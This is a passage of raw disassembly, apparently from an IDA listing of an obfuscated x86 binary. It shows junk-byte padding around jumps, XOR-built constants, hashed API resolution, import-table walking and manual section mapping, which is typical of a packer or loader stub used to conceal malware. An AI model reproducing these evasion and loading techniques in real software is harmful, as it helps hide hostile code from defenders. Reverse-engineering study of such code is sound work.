loc_40196D: ; CODE XREF: sub_40141A+54Cj xchg edx, [esp-10h+arg_C] jmp loc_401981 ; --------------------------------------------------------------------------- db 0F7h, 64h, 0CDh ; --------------------------------------------------------------------------- adc byte ptr [ebx-10313630h], 0FCh test ebx, edx loc_401981: ; CODE XREF: sub_40141A+556j push 0 jmp loc_40198C ; --------------------------------------------------------------------------- dd 0A601E80Bh ; --------------------------------------------------------------------------- loc_40198C: ; CODE XREF: sub_40141A+569j push ecx jmp loc_40199E ; --------------------------------------------------------------------------- dw 94E7h dd 83323Dh, 2CDF7E39h db 0F5h, 8Ah ; --------------------------------------------------------------------------- loc_40199E: ; CODE XREF: sub_40141A+573j push edx push eax jmp short locret_4019B0 ; --------------------------------------------------------------------------- dw 18FBh dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h ; --------------------------------------------------------------------------- locret_4019B0: ; CODE XREF: sub_40141A+586j retn sub_40141A endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp near ptr sub_4019C4 ; --------------------------------------------------------------------------- dw 3A65h dd 6E148EBh, 921DF4C7h, 0DE196063h ; =============== S U B R O U T I N E ======================================= sub_4019C4 proc far ; CODE XREF: sub_40141A:loc_40184Dp ; .text:004019B1j var_48 = dword ptr -48h push ebp jmp short loc_4019D3 ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short loc_401A1F mov dh, 0B7h and al, 8Dh inc edx loc_4019D3: ; CODE XREF: sub_4019C4+1j mov ebp, esp jmp short loc_4019DE ; --------------------------------------------------------------------------- db 53h db 90h db 89h, 8Eh, 0AFh db 0BCh, 45h ; --------------------------------------------------------------------------- loc_4019DE: ; CODE XREF: sub_4019C4+11j add esp, 0FFFFFFE8h push esi jmp loc_4019F1 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_4019F1: ; CODE XREF: sub_4019C4+1Ej push edi jmp loc_4019FF ; --------------------------------------------------------------------------- db 0C0h dd 0EC9F3EF9h db 0B5h, 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_4019FF: ; CODE XREF: sub_4019C4+2Ej xor eax, eax mov [ebp-8], eax jmp short loc_401A14 ; --------------------------------------------------------------------------- dw 31D8h dd 6D849716h, 69F033A2h, 251C8FEEh ; --------------------------------------------------------------------------- loc_401A14: ; CODE XREF: sub_4019C4+40j mov [ebp-4], eax jmp loc_401A25 ; --------------------------------------------------------------------------- db 0FAh, 0ABh, 8 ; --------------------------------------------------------------------------- loc_401A1F: ; CODE XREF: sub_4019C4+8j mov eax, ds:0DDB487C6h push edx loc_401A25: ; CODE XREF: sub_4019C4+53j mov [ebp-0Ch], eax mov [ebp-10h], eax jmp short loc_401A3C ; --------------------------------------------------------------------------- db 23h, 20h, 0D9h dd 954C7F9Eh, 11389BAAh, 4DE47776h ; --------------------------------------------------------------------------- loc_401A3C: ; CODE XREF: sub_4019C4+67j mov [ebp-14h], eax jmp loc_401A4E ; --------------------------------------------------------------------------- dd 49501302h, 57C6F4Eh db 5Ah, 8Bh ; --------------------------------------------------------------------------- loc_401A4E: ; CODE XREF: sub_4019C4+7Bj mov esi, [ebp+0Ch] mov ecx, [esi-4] mov [ebp-18h], ecx jmp loc_401A6B ; --------------------------------------------------------------------------- dd 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h, 0Ah ; --------------------------------------------------------------------------- loc_401A6B: ; CODE XREF: sub_4019C4+93j jmp loc_401CF8 ; --------------------------------------------------------------------------- loc_401A70: ; CODE XREF: sub_4019C4+336j push dword ptr [esi] jmp loc_401A78 ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- loc_401A78: ; CODE XREF: sub_4019C4+AEj pop dword ptr [ebp-4] jmp short loc_401A81 ; --------------------------------------------------------------------------- cwde icebp setalc push edi loc_401A81: ; CODE XREF: sub_4019C4+B7j add esi, 4 push dword ptr [esi] jmp short loc_401A91 ; --------------------------------------------------------------------------- dd 0F3622D44h, 4FAE29B0h db 0DCh ; --------------------------------------------------------------------------- loc_401A91: ; CODE XREF: sub_4019C4+C2j pop dword ptr [ebp-8] add esi, 4 push dword ptr [esi] jmp short loc_401AA6 ; --------------------------------------------------------------------------- db 0E5h dd 61C86BBAh, 9D744786h ; --------------------------------------------------------------------------- adc ah, bl loc_401AA6: ; CODE XREF: sub_4019C4+D5j pop dword ptr [ebp-0Ch] jmp short loc_401AB2 ; --------------------------------------------------------------------------- db 0E0h dd 0C3F5E99h db 55h, 6Ah ; --------------------------------------------------------------------------- loc_401AB2: ; CODE XREF: sub_4019C4+E5j add esi, 4 jmp loc_401AC8 ; --------------------------------------------------------------------------- dw 0F85Bh dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h ; --------------------------------------------------------------------------- loc_401AC8: ; CODE XREF: sub_4019C4+F1j push dword ptr [esi] jmp short loc_401ADC ; --------------------------------------------------------------------------- dd 284B1AC5h, 0D427E641h, 40C3727Dh, 6C1FBE79h ; --------------------------------------------------------------------------- loc_401ADC: ; CODE XREF: sub_4019C4+106j pop dword ptr [ebp-10h] add esi, 4 jmp short loc_401AE6 ; --------------------------------------------------------------------------- db 35h, 0CAh ; --------------------------------------------------------------------------- loc_401AE6: ; CODE XREF: sub_4019C4+11Ej push dword ptr [esi] jmp short loc_401AF4 ; --------------------------------------------------------------------------- dw 583Bh dd 41796B1h, 70B322EDh ; --------------------------------------------------------------------------- loc_401AF4: ; CODE XREF: sub_4019C4+124j pop dword ptr [ebp-14h] add esi, 4 mov edi, [ebp-8] jmp loc_401B0A ; --------------------------------------------------------------------------- dw 6EE9h dd 7AA59C0Fh db 2Bh, 88h ; --------------------------------------------------------------------------- loc_401B0A: ; CODE XREF: sub_4019C4+139j add edi, [ebp+8] push 1000h push dword ptr [ebp-4] jmp short loc_401B1E ; --------------------------------------------------------------------------- db 21h dd 5D340746h db 0D2h, 0A3h ; --------------------------------------------------------------------------- loc_401B1E: ; CODE XREF: sub_4019C4+151j call sub_401D2E jmp loc_401B30 ; --------------------------------------------------------------------------- dd 0FF1E59A0h, 1B2A15CCh ; --------------------------------------------------------------------------- loc_401B30: ; CODE XREF: sub_4019C4+15Fj push eax jmp loc_401B38 ; --------------------------------------------------------------------------- dw 91B8h ; --------------------------------------------------------------------------- loc_401B38: ; CODE XREF: sub_4019C4+16Dj push edi jmp short loc_401B47 ; --------------------------------------------------------------------------- db 0F6h dd 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh, 85h ; --------------------------------------------------------------------------- loc_401B47: ; CODE XREF: sub_4019C4+175j call sub_4028C8 loc_401B4C: ; CODE XREF: sub_4019C4+1A7j cmp dword ptr [ebp-0Ch], 0 jz loc_401CAC push edi jmp loc_401B62 ; --------------------------------------------------------------------------- dd 1E80BDAh db 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_401B62: ; CODE XREF: sub_4019C4+193j push esi jmp short loc_401B74 ; --------------------------------------------------------------------------- xchg eax, esp cmp eax, 39008332h jle short loc_401B4C sub al, 0F5h mov bh, bl sbb [ecx+56h], dh loc_401B74: ; CODE XREF: sub_4019C4+19Fj call near ptr sub_402F03 add esi, [ebp-0Ch] cmp dword ptr [ebp-14h], 0 jz loc_401CAC jmp loc_401B96 ; --------------------------------------------------------------------------- db 0D7h dd 73E2ADC4h, 0CF2EA930h db 5Ch, 65h ; --------------------------------------------------------------------------- loc_401B96: ; CODE XREF: sub_4019C4+1C2j pusha mov eax, [ebp-14h] jmp loc_401BA6 ; --------------------------------------------------------------------------- db 3Ah dd 6E148EBh db 0C7h, 0F4h ; --------------------------------------------------------------------------- loc_401BA6: ; CODE XREF: sub_4019C4+1D6j shl eax, 4 jmp loc_401BB9 ; --------------------------------------------------------------------------- sbb eax, 19606392h fidivr word ptr [edi-24152A74h] loc_401BB9: ; CODE XREF: sub_4019C4+1E5j push 4 push 3000h push eax jmp short loc_401BD0 ; --------------------------------------------------------------------------- db 78h dd 24B7B651h, 9053428Dh, 0BCAF8E89h ; --------------------------------------------------------------------------- loc_401BD0: ; CODE XREF: sub_4019C4+1FDj push 0 call sub_4022AE jmp short loc_401BE6 ; --------------------------------------------------------------------------- db 45h, 9Ah, 0CBh dd 0A766C1A8h, 43F2FD54h db 0C0h, 0F9h ; --------------------------------------------------------------------------- loc_401BE6: ; CODE XREF: sub_4019C4+213j mov edi, eax jmp loc_401BF9 ; --------------------------------------------------------------------------- db 3Eh, 9Fh, 0ECh dd 0D8BB4AB5h, 84971631h db 6Dh ; --------------------------------------------------------------------------- loc_401BF9: ; CODE XREF: sub_4019C4+224j push edi push esi call near ptr sub_402F03 jmp loc_401C0D ; --------------------------------------------------------------------------- db 0A2h, 33h, 0F0h dd 1C8FEE69h db 25h ; --------------------------------------------------------------------------- loc_401C0D: ; CODE XREF: sub_4019C4+23Cj push dword ptr [ebp+8] call sub_4025E8 jmp short loc_401C1B ; --------------------------------------------------------------------------- db 0FAh db 0ABh, 8, 0A1h ; --------------------------------------------------------------------------- loc_401C1B: ; CODE XREF: sub_4019C4+251j mov edx, [ebp+8] sub edx, eax jmp loc_401C34 ; --------------------------------------------------------------------------- db 0C6h, 87h, 0B4h dd 202352DDh, 4C7F9ED9h, 389BAA95h ; --------------------------------------------------------------------------- loc_401C34: ; CODE XREF: sub_4019C4+25Cj mov eax, [ebp-8] add eax, [ebp+8] push edx jmp short loc_401C43 ; --------------------------------------------------------------------------- db 11h, 76h, 77h db 0E4h, 4Dh, 2 ; --------------------------------------------------------------------------- loc_401C43: ; CODE XREF: sub_4019C4+277j push edi jmp short loc_401C4E ; --------------------------------------------------------------------------- dw 5013h dd 7C6F4E49h db 5, 5Ah ; --------------------------------------------------------------------------- loc_401C4E: ; CODE XREF: sub_4019C4+280j push dword ptr [ebp+8] jmp loc_401C64 ; --------------------------------------------------------------------------- dw 688Bh ; --------------------------------------------------------------------------- and dword ptr [esi], 0B2BD1467h add eax, [eax-53A00147h] loc_401C64: ; CODE XREF: sub_4019C4+28Dj call near ptr sub_402537 push eax mov eax, 0F4CF3F75h jmp short loc_401C79 ; --------------------------------------------------------------------------- db 98h, 0F1h, 0D6h dd 622D4457h db 0F3h ; --------------------------------------------------------------------------- loc_401C79: ; CODE XREF: sub_4019C4+2ABj sub eax, 0F4CEBF75h jmp short loc_401C86 ; --------------------------------------------------------------------------- db 0B0h, 29h, 0AEh db 4Fh, 0DCh ; --------------------------------------------------------------------------- loc_401C86: ; CODE XREF: sub_4019C4+2BBj xchg eax, [esp+0] jmp loc_401C96 ; --------------------------------------------------------------------------- dw 0BAE5h ; --------------------------------------------------------------------------- imul ecx, eax, 61h xchg al, [edi+74h] loc_401C96: ; CODE XREF: sub_4019C4+2C5j push 0 push edi jmp short loc_401CA6 ; --------------------------------------------------------------------------- db 9Dh dd 99E0E312h, 550C3F5Eh ; --------------------------------------------------------------------------- push 5Bh loc_401CA6: ; CODE XREF: sub_4019C4+2D5j call near ptr sub_40236C popa loc_401CAC: ; CODE XREF: sub_4019C4+18Cj ; sub_4019C4+1BCj mov eax, [ebp-8] jmp short loc_401CB4 ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 loc_401CB4: ; CODE XREF: sub_4019C4+2EBj add eax, [ebp+8] push dword ptr [ebp-10h] push dword ptr [ebp-4] jmp loc_401CC7 ; --------------------------------------------------------------------------- dw 0A437h db 0Dh, 0C2h, 0D3h ; --------------------------------------------------------------------------- loc_401CC7: ; CODE XREF: sub_4019C4+2F9j push eax jmp short loc_401CD0 ; --------------------------------------------------------------------------- dw 910h ; --------------------------------------------------------------------------- push cs das cmp al, 0C5h loc_401CD0: ; CODE XREF: sub_4019C4+304j call sub_4026C0 jmp loc_401CDC ; --------------------------------------------------------------------------- dw 4B1Ah ; --------------------------------------------------------------------------- loc_401CDC: ; CODE XREF: sub_4019C4+311j add esi, [ebp-14h] dec dword ptr [ebp-18h] mov ecx, [ebp-18h] jmp loc_401CF8 ; --------------------------------------------------------------------------- dw 4128h dd 7DD427E6h, 7940C372h, 356C1FBEh ; --------------------------------------------------------------------------- loc_401CF8: ; CODE XREF: sub_4019C4:loc_401A6Bj ; sub_4019C4+321j or ecx, ecx jnz loc_401A70 jmp short loc_401D0A ; --------------------------------------------------------------------------- dw 3BCAh ; --------------------------------------------------------------------------- pop eax mov cl, 96h pop ss add al, 0EDh loc_401D0A: ; CODE XREF: sub_4019C4+33Cj pop edi jmp loc_401D1A ; --------------------------------------------------------------------------- and dh, [ebx+0F6EE970h] pushf movsd jp short locret_401D45 loc_401D1A: ; CODE XREF: sub_4019C4+347j pop esi leave retn 8 sub_4019C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short sub_401D2E ; --------------------------------------------------------------------------- mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= sub_401D2E proc near ; CODE XREF: sub_4019C4:loc_401B1Ep ; .text:00401D1Fj push ebp jmp short loc_401D35 ; --------------------------------------------------------------------------- db 15h, 2Ah, 1Bh db 0B8h ; --------------------------------------------------------------------------- loc_401D35: ; CODE XREF: sub_401D2E+1j mov ebp, esp push ecx mov eax, [ebp+8] jmp short loc_401D49 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h db 0D0h ; --------------------------------------------------------------------------- locret_401D45: ; CODE XREF: sub_4019C4+354j leave into out dx, eax cld loc_401D49: ; CODE XREF: sub_401D2E+Dj mov ecx, [ebp+0Ch] dec ecx jmp loc_401D57 ; --------------------------------------------------------------------------- dw 0DA85h db 0Bh, 0E8h, 1 ; --------------------------------------------------------------------------- loc_401D57: ; CODE XREF: sub_401D2E+1Fj add eax, ecx not ecx and eax, ecx jmp short loc_401D62 ; --------------------------------------------------------------------------- db 0A6h db 0E7h, 94h ; --------------------------------------------------------------------------- loc_401D62: ; CODE XREF: sub_401D2E+2Fj pop ecx leave retn 8 sub_401D2E endp ; --------------------------------------------------------------------------- jmp short near ptr sub_401D74 ; --------------------------------------------------------------------------- db 3Dh, 32h, 83h dd 0DF7E3900h, 0FB8AF52Ch ; =============== S U B R O U T I N E ======================================= sub_401D74 proc far ; CODE XREF: sub_40141A+479p ; .text:00401D67j var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = byte ptr -20h push ebp jmp short loc_401D79 ; --------------------------------------------------------------------------- db 18h db 71h ; --------------------------------------------------------------------------- loc_401D79: ; CODE XREF: sub_401D74+1j mov ebp, esp jmp loc_401D84 ; --------------------------------------------------------------------------- dd 0ADC4D756h ; --------------------------------------------------------------------------- loc_401D84: ; CODE XREF: sub_401D74+7j add esp, 0FFFFFFF4h jmp short loc_401D95 ; --------------------------------------------------------------------------- db 0E2h, 73h, 30h dd 5CCF2EA9h, 48EB3A65h db 0E1h ; --------------------------------------------------------------------------- loc_401D95: ; CODE XREF: sub_401D74+13j push esi jmp short loc_401DA7 ; --------------------------------------------------------------------------- dd 1DF4C706h, 19606392h, 0D58CBFDEh db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- loc_401DA7: ; CODE XREF: sub_401D74+22j push edi push ebx mov esi, [ebp+8] jmp short loc_401DB5 ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx loc_401DB5: ; CODE XREF: sub_401D74+38j mov edx, [ebp+0Ch] jmp loc_401DC4 ; --------------------------------------------------------------------------- align 2 mov [esi-65BA4351h], ecx loc_401DC4: ; CODE XREF: sub_401D74+44j add esi, edx jmp loc_401DD2 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_401DD2: ; CODE XREF: sub_401D74+52j ; sub_401D74:loc_4021E8j mov eax, [esi+0Ch] test eax, eax jz loc_4021F0 add eax, edx jmp short loc_401DE5 ; --------------------------------------------------------------------------- db 0F2h, 43h, 0C0h ; --------------------------------------------------------------------------- stc loc_401DE5: ; CODE XREF: sub_401D74+6Bj mov ebx, eax push eax push 0C0C5A5Ch push ecx jmp short loc_401DF6 ; --------------------------------------------------------------------------- dd 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx loc_401DF6: ; CODE XREF: sub_401D74+7Aj mov ecx, 0A8813D3Eh jmp loc_401E08 ; --------------------------------------------------------------------------- dd 0A26D8497h, 0EE69F033h ; --------------------------------------------------------------------------- loc_401E08: ; CODE XREF: sub_401D74+87j xor [esp+28h+var_24], ecx pop ecx jmp loc_401E17 ; --------------------------------------------------------------------------- dw 1C8Fh db 25h, 0FAh, 0ABh ; --------------------------------------------------------------------------- loc_401E17: ; CODE XREF: sub_401D74+99j push dword ptr [ebp+10h] call near ptr sub_403516 call eax jmp short loc_401E2A ; --------------------------------------------------------------------------- or [ecx-224B783Ah], ah push edx loc_401E2A: ; CODE XREF: sub_401D74+ADj test eax, eax jnz loc_401E5D push ebx push 0C8AC8026h jmp loc_401E48 ; --------------------------------------------------------------------------- and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl loc_401E48: ; CODE XREF: sub_401D74+C4j push dword ptr [ebp+10h] jmp short loc_401E56 ; --------------------------------------------------------------------------- db 76h, 77h, 0E4h ; --------------------------------------------------------------------------- dec ebp add dl, [ebx] push eax dec ecx dec esi loc_401E56: ; CODE XREF: sub_401D74+D7j call near ptr sub_403516 call eax loc_401E5D: ; CODE XREF: sub_401D74+B8j mov [ebp-4], eax jmp short loc_401E67 ; --------------------------------------------------------------------------- dw 7C6Fh db 5, 5Ah, 8Bh ; --------------------------------------------------------------------------- loc_401E67: ; CODE XREF: sub_401D74+ECj mov dword ptr [ebp-8], 0 loc_401E6E: ; CODE XREF: sub_401D74:loc_4021ADj mov edx, [ebp+0Ch] mov eax, [esi] jmp loc_401E86 ; --------------------------------------------------------------------------- dd 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h ; --------------------------------------------------------------------------- loc_401E86: ; CODE XREF: sub_401D74+FFj test eax, eax jnz loc_401E9A mov eax, [esi+10h] jmp loc_401E9A ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp loc_401E9A: ; CODE XREF: sub_401D74+114j ; sub_401D74+11Dj add eax, edx jmp short loc_401EA4 ; --------------------------------------------------------------------------- dw 57D6h dd 0F3622D44h ; --------------------------------------------------------------------------- loc_401EA4: ; CODE XREF: sub_401D74+128j add eax, [ebp-8] jmp loc_401EAD ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- loc_401EAD: ; CODE XREF: sub_401D74+133j mov ebx, [eax] mov edi, [esi+10h] add edi, edx jmp loc_401EC4 ; --------------------------------------------------------------------------- db 29h, 0AEh, 4Fh ; --------------------------------------------------------------------------- fsubr st(5), st mov edx, 8661C86Bh inc edi loc_401EC4: ; CODE XREF: sub_401D74+140j add edi, [ebp-8] jmp short loc_401ED6 ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h dd 5E99E0E3h, 6A550C3Fh db 5Bh ; [ db 0F8h ; ; --------------------------------------------------------------------------- loc_401ED6: ; CODE XREF: sub_401D74+153j test ebx, ebx jz loc_4021C4 jmp loc_401EEE ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das loc_401EEE: ; CODE XREF: sub_401D74+16Aj test ebx, 80000000h jnz loc_401F1E add ebx, edx jmp loc_401F0B ; --------------------------------------------------------------------------- db 3Ch, 0C5h, 1Ah ; --------------------------------------------------------------------------- dec ebx sub [ecx-1Ah], al daa aam 7Dh loc_401F0B: ; CODE XREF: sub_401D74+188j inc ebx jmp short loc_401F11 ; --------------------------------------------------------------------------- dw 0C372h ; --------------------------------------------------------------------------- inc eax loc_401F11: ; CODE XREF: sub_401D74+198j inc ebx jmp short loc_401F1E ; --------------------------------------------------------------------------- dd 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h loc_401F1E: ; CODE XREF: sub_401D74+180j ; sub_401D74+19Ej push ebx and ebx, 7FFFFFFFh jmp loc_401F36 ; --------------------------------------------------------------------------- dw 417h dd 70B322EDh, 9C0F6EE9h db 0A5h, 7Ah ; --------------------------------------------------------------------------- loc_401F36: ; CODE XREF: sub_401D74+1B1j push ebx jmp loc_401F4A ; --------------------------------------------------------------------------- sub ecx, [eax+34074621h] pop ebp shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_401F4A: ; CODE XREF: sub_401D74+1C3j push dword ptr [ebp-4] push esi mov esi, 2539A7FBh jmp short loc_401F61 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h, 0EFCEC9D0h ; --------------------------------------------------------------------------- cld loc_401F61: ; CODE XREF: sub_401D74+1DFj xor esi, 3AF94D15h jmp loc_401F70 ; --------------------------------------------------------------------------- test ebx, edx loc_401F6E: ; CODE XREF: sub_401D74+219j or ebp, eax loc_401F70: ; CODE XREF: sub_401D74+1F3j xchg esi, [esp+30h+var_30] jmp loc_401F79 ; --------------------------------------------------------------------------- db 1 ; --------------------------------------------------------------------------- loc_401F79: ; CODE XREF: sub_401D74+1FFj push dword ptr [ebp+10h] call near ptr sub_403516 call eax jmp short loc_401F91 ; --------------------------------------------------------------------------- db 0A6h, 0E7h, 94h ; --------------------------------------------------------------------------- cmp eax, 39008332h jle short loc_401F6E sub al, 0F5h loc_401F91: ; CODE XREF: sub_401D74+20Fj pop ebx jmp short loc_401FA1 ; --------------------------------------------------------------------------- dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h db 2Eh ; --------------------------------------------------------------------------- loc_401FA1: ; CODE XREF: sub_401D74+21Ej test eax, eax jnz loc_4020D2 jmp loc_401FBA ; --------------------------------------------------------------------------- dw 5CCFh dd 48EB3A65h, 0F4C706E1h db 1Dh, 92h ; --------------------------------------------------------------------------- loc_401FBA: ; CODE XREF: sub_401D74+235j test ebx, 80000000h jnz loc_401FE4 jmp short loc_401FD6 ; --------------------------------------------------------------------------- dd 0DE196063h, 0EAD58CBFh, 0B65178DBh ; --------------------------------------------------------------------------- mov bh, 24h loc_401FD6: ; CODE XREF: sub_401D74+252j xor eax, eax jmp short loc_401FE4 ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx loc_401FE4: ; CODE XREF: sub_401D74+24Cj ; sub_401D74+264j and ebx, 7FFFFFFFh jmp loc_401FF3 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_401FF3: ; CODE XREF: sub_401D74+276j mov eax, [ebp+426h] cmp [ebp-4], eax jnz loc_40208F push edi jmp loc_402017 ; --------------------------------------------------------------------------- dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh db 0BBh, 0D8h, 31h ; --------------------------------------------------------------------------- loc_402017: ; CODE XREF: sub_401D74+28Fj mov edx, ebx dec edx jmp short loc_402026 ; --------------------------------------------------------------------------- dd 6D849716h, 69F033A2h db 0EEh, 8Fh ; --------------------------------------------------------------------------- loc_402026: ; CODE XREF: sub_401D74+2A6j shl edx, 2 jmp loc_402036 ; --------------------------------------------------------------------------- dw 251Ch dd 0A108ABFAh db 0C6h, 87h ; --------------------------------------------------------------------------- loc_402036: ; CODE XREF: sub_401D74+2B5j mov ebx, [ebp-4] mov edi, [ebx+3Ch] jmp loc_40204B ; --------------------------------------------------------------------------- db 0B4h, 0DDh, 52h dd 9ED92023h ; --------------------------------------------------------------------------- jg short loc_402096 xchg eax, ebp loc_40204B: ; CODE XREF: sub_401D74+2C8j mov edi, [edi+ebx+78h] jmp short loc_40205F ; --------------------------------------------------------------------------- db 0AAh, 9Bh, 38h dd 0E4777611h, 5013024Dh db 49h, 4Eh, 6Fh ; --------------------------------------------------------------------------- loc_40205F: ; CODE XREF: sub_401D74+2DBj add ebx, [edi+ebx+1Ch] jmp short loc_402072 ; --------------------------------------------------------------------------- db 7Ch, 5, 5Ah dd 2681688Bh, 0B2BD1467h db 3, 80h ; --------------------------------------------------------------------------- loc_402072: ; CODE XREF: sub_401D74+2EFj mov eax, [edx+ebx] jmp loc_40207F ; --------------------------------------------------------------------------- mov ecx, 75AC5FFEh loc_40207F: ; CODE XREF: sub_401D74+301j add eax, [ebp-4] jmp loc_402089 ; --------------------------------------------------------------------------- db 0Ah db 7Bh ; --------------------------------------------------------------------------- loc_402089: ; CODE XREF: sub_401D74+30Ej pop edi jmp loc_4020D2 ; --------------------------------------------------------------------------- loc_40208F: ; CODE XREF: sub_401D74+288j xor eax, eax jmp loc_4020A4 ; --------------------------------------------------------------------------- loc_402096: ; CODE XREF: sub_401D74+2D4j cwde icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_4020A4: ; CODE XREF: sub_401D74+31Dj pop ebx pop edi pop esi jmp locret_4020B9 ; --------------------------------------------------------------------------- dd 61C86BBAh, 9D744786h, 99E0E312h ; --------------------------------------------------------------------------- pop esi locret_4020B9: ; CODE XREF: sub_401D74+333j leave jmp short loc_4020C1 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh loc_4020C1: ; CODE XREF: sub_401D74+346j retn 0Ch ; --------------------------------------------------------------------------- jmp short loc_4020D2 ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das loc_4020D2: ; CODE XREF: sub_401D74+22Fj ; sub_401D74+316j ... push eax jmp loc_4020D9 ; --------------------------------------------------------------------------- db 3Ch ; --------------------------------------------------------------------------- loc_4020D9: ; CODE XREF: sub_401D74+35Fj lea eax, [ebp-0Ch] push eax jmp short loc_4020E3 ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- sbb cl, [ebx+28h] loc_4020E3: ; CODE XREF: sub_401D74+369j push 4 jmp loc_4020F7 ; --------------------------------------------------------------------------- dw 0E641h dd 727DD427h, 0BE7940C3h db 1Fh, 6Ch, 35h ; --------------------------------------------------------------------------- loc_4020F7: ; CODE XREF: sub_401D74+371j push 4 jmp short loc_4020FE ; --------------------------------------------------------------------------- db 0CAh db 3Bh, 58h ; --------------------------------------------------------------------------- loc_4020FE: ; CODE XREF: sub_401D74+385j push edi call sub_40222B jmp short loc_40210B ; --------------------------------------------------------------------------- mov cl, 96h pop ss add al, 0EDh loc_40210B: ; CODE XREF: sub_401D74+390j pop eax jmp loc_402118 ; --------------------------------------------------------------------------- and dh, [ebx+0F6EE970h] pushf loc_402118: ; CODE XREF: sub_401D74+398j mov [edi], eax jmp short loc_402127 ; --------------------------------------------------------------------------- dd 882B7AA5h, 34074621h db 5Dh, 0D2h, 0A3h ; --------------------------------------------------------------------------- loc_402127: ; CODE XREF: sub_401D74+3A6j sub esp, 4 jmp short loc_402139 ; --------------------------------------------------------------------------- dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h db 64h ; --------------------------------------------------------------------------- loc_402139: ; CODE XREF: sub_401D74+3B6j lea eax, [esp+0] jmp loc_40214C ; --------------------------------------------------------------------------- db 0CDh, 82h, 93h dd 0EFCEC9D0h, 0BDA85FCh ; --------------------------------------------------------------------------- loc_40214C: ; CODE XREF: sub_401D74+3C8j push eax jmp loc_402162 ; --------------------------------------------------------------------------- dw 1E8h dd 3D94E7A6h, 39008332h, 0F52CDF7Eh ; --------------------------------------------------------------------------- mov bh, bl loc_402162: ; CODE XREF: sub_401D74+3D9j push dword ptr [ebp-0Ch] push 4 jmp short loc_402174 ; --------------------------------------------------------------------------- db 18h, 71h, 56h dd 0E2ADC4D7h, 2EA93073h ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_401D74+3F3j push edi jmp short loc_402187 ; --------------------------------------------------------------------------- db 0CFh dd 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_402187: ; CODE XREF: sub_401D74+401j call sub_40222B add esp, 4 jmp short loc_402197 ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 0D5h db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- loc_402197: ; CODE XREF: sub_401D74+41Bj add dword ptr [ebp-8], 4 jmp loc_4021AD ; --------------------------------------------------------------------------- dd 24B7B651h, 9053428Dh, 0BCAF8E89h ; --------------------------------------------------------------------------- inc ebp loc_4021AD: ; CODE XREF: sub_401D74+427j jmp loc_401E6E ; --------------------------------------------------------------------------- jmp loc_4021C4 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- loc_4021C4: ; CODE XREF: sub_401D74+164j ; sub_401D74+43Ej add esi, 14h jmp short loc_4021D6 ; --------------------------------------------------------------------------- db 9Fh, 0ECh, 0B5h dd 31D8BB4Ah, 6D849716h db 0A2h, 33h ; --------------------------------------------------------------------------- loc_4021D6: ; CODE XREF: sub_401D74+453j mov edx, [ebp+0Ch] jmp loc_4021E8 ; --------------------------------------------------------------------------- dw 69F0h dd 251C8FEEh, 0A108ABFAh ; --------------------------------------------------------------------------- loc_4021E8: ; CODE XREF: sub_401D74+465j jmp loc_401DD2 ; --------------------------------------------------------------------------- jmp short loc_4021F0 ; --------------------------------------------------------------------------- db 0C6h ; --------------------------------------------------------------------------- loc_4021F0: ; CODE XREF: sub_401D74+63j ; sub_401D74+479j pop ebx jmp loc_4021F9 ; --------------------------------------------------------------------------- dw 0B487h db 0DDh ; --------------------------------------------------------------------------- loc_4021F9: ; CODE XREF: sub_401D74+47Dj pop edi pop esi jmp locret_402210 ; --------------------------------------------------------------------------- dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h ; 